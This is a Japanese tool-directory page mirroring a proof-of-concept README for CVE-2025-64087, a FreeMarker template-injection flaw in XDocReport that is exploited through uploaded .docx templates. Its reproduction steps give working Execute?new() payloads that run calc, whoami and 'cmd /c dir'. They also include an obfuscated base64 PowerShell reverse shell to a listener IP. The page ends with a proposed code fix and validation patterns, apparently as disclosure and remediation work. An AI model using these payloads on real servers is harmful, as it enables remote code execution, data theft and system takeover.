Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087 (SSTI) | Kitploit
ツール/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用学習と教育ペイロード開発
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

リポジトリを見る
1176ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-64087 (SSTI FreeMarker)

XDocReportにおけるServer-Side Template Injection (SSTI) により、Apache FreeMarkerエンジンを介したリモートコード実行が可能

バグの定義

脆弱性の概要

  • Server-Side Template Injection (SSTI) は、Webアプリケーションのセキュリティ脆弱性であり、コンテンツ管理システム(CMS)やWebフレームワークで使用されるテンプレートに悪意のあるコードを注入し、リモートからの攻撃、機密情報の取得、またはシステムへの侵入操作を実行することを可能にします。
  • SSTIは、Injection脆弱性(SQL Injection、XSSなど)の一種であり、攻撃者がテンプレートシステムを悪用してリモートから悪意のあるコードを実行します。SSTI攻撃が成功すると、攻撃者はサーバー側で独自のコードを実行でき、機密情報の収集、システムへの侵入操作、および不正なリソースへのアクセスが可能になります。
  • SSTI脆弱性は、安全でないテンプレートシステムの使用、またはテンプレートにパラメータを挿入する前に入力の検証と処理が行われていないために発生することがよくあります。SSTI攻撃が成功した場合、被害組織に重大な損害をもたらす可能性があります。

ビジネスへの影響

  • SSTI脆弱性は、以下のような深刻な結果を引き起こす可能性があります。
  • 悪意のあるコードの実行:攻撃者はこの脆弱性を利用してサーバー上で悪意のあるコードを実行し、データの盗難、システム上での不正行為、さらにはサーバーの完全な制御を可能にします。
  • 機密情報の漏洩:SSTIにより、攻撃者はサーバー上のファイルを読み取り、変更、または削除できます。これらのファイルにアカウントやパスワードなどの機密情報が含まれている場合、攻撃者は容易にその情報を漏洩させることができます。
  • ユーザーへの脅迫または詐欺攻撃:攻撃者はSSTIを利用して、Webサイトのコンテンツを変更したり、偽のカスタムボタンを追加したりして、ユーザーに対する脅迫または詐欺攻撃を実行できます。ユーザーがこれらのボタンをクリックすると、攻撃者はユーザー情報を盗んだり、ユーザーのコンピュータにマルウェアをインストールしたりする可能性があります。

Severity: CRITICAL

image

説明と影響

OpenSAGRES XDocReportにおいて、FreeMarkerエンジンでDOCXテンプレートを処理する際にServer-Side Template Injection (SSTI) 脆弱性が発見されました。特定の設定下で、細工されたテンプレートによりリモートコード実行 (RCE) が発生する可能性があります。

人事管理Webサイトでは、ユーザーが.docxドキュメントファイルをシステムにアップロードできます。処理中、アプリケーションはテンプレートエンジンFreeMarker(FreemarkerTemplateEngine.javaファイル内)を使用して、${"freemarker.template.utility.Execute"?new()("whoami")}のような内容をレンダリングしますが、入力内容の制御やフィルタリングの仕組みはありません。この脆弱性により、攻撃者は悪意のある式を.docxファイル(テンプレート)に挿入し、サーバー上でのリモートコード実行 (RCE) を引き起こし、情報の盗難やシステムの乗っ取りに悪用される可能性があります。

影響を受けるコンポーネント

fr.opensagres.xdocreport.template.freemarker — XDocReport (バージョン1.0.0から2.1.0まで)。

根本原因分析

  • ファイルhttps://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.javaでは、入力されたxdocファイルの内容をチェックしていません。テンプレートの内容はそのままロードされ、サンドボックス化やディレクティブ/式の制限なしに、FreeMarkerエンジンによって処理されるprocess(context, writer, template)に渡されます。その結果、攻撃者は悪意のあるFreeMarkerの式やコマンドを含むテンプレートを提供でき、リモートコード実行 (RCE) につながります。

image

再現手順

  1. ユーザーが内部に以下のペイロードを含む.docxファイルをアップロードします。``` ${"freemarker.template.utility.Execute"?new()("calc")}
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

2. 正常に実行され、電卓アプリが起動することを確認

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

3. 同様に、システム上で実行中のユーザー情報を取得するために、payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}

image

image

  1. テンプレートエンジンによる .docx ファイルの処理を通じて、システムのデータが返されていることがわかる

image

  1. 次のペイロードも同様に:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

6. インパクトをRCEに引き上げる

- 待ち受けマシンはWSLで、IPアドレスは`172.26.208.130`です

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

- 以下のペイロードでエクスプロイトします:

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}

image

  • .docx ファイルを xdocreport に渡して処理する

image

  • WSL マシンでシェルが取得されたことが確認できる

image

解決策

reflection の実行をブロック (最も安全だが現在ビルドエラー)

  • 以下の内容をファイル xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java に追加する

image

image

私の修正では、${cuong.name} のような通常のオブジェクトとプロパティのレンダリングは引き続き許可し、危険な組み込み関数のみをブロックしています

  • すべての SSTI ペイロードがブロックされる:
    • ${'freemarker.template.utility.Execute'?new()('calc')} - ブロックされる by ALLOWS_NOTHING_RESOLVER
    • ${'java.lang.Runtime'?api.getRuntime()} - ブロックされる by setAPIBuiltinEnabled(false)
    • ?new() と ?api を使用する他のすべてのペイロードもブロックされる

入力の検証

1. メインファイル - FreemarkerTemplateEngine.java

Path: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

変更点:

  • ✅ インポートを追加: java.util.regex.Pattern
    image

  • ✅ メソッド validateTemplateSecurity(Reader reader) を追加 — 危険なパターンを検証
    image

  • ✅ processNoCache() を更新 — Template 作成前に検証を追加
    image

ツールをダウンロード